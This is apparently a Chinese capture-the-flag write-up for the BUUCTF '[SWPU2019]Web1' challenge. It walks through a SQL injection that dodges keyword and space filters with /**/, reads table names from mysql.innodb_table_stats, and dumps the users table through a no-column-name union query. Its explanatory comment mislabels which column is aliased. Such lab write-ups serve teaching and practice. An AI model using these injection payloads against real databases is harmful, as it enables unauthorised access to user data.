BUUCTF-----[SWPU2019]Web1

打开页面，原本以为是二次注入,结果不是，先注册一个账户

在申请发布广告中，发现反射性xss(然而没有什么用)

在广告申请名字中发现注入点

开始注入

通过一系列的测试，发现系统过滤了#，or，空格
order by不能使用，只能用union select来判断显示位
空格可以使用/**/绕过

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

因为or被过滤，information_schema不能使用

也可以通过mysql.innodb_table_stats，来获取表名
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

表名知道了，但是列名怎么求？

这里我们使用无列名注入
1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

(select group_concat(a) from (select 1,2 as a,3 union select*from users)s)

(select 1,2 as a,3 union select * from users)s
//意思是：查询user表中前三列的数据，并且把第三列重命名位a（我们不知道第三列的名字是什么）,然后重命名为s.
(select group_concat(a) from s)
//意思是：查询s中a的值，也就是重命名后的第3列

-1'/**/union/**/select/**/1,2,(select/**/group_concat(a,'~',b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

参考无列名注入：https://zhuanlan.zhihu.com/p/98206699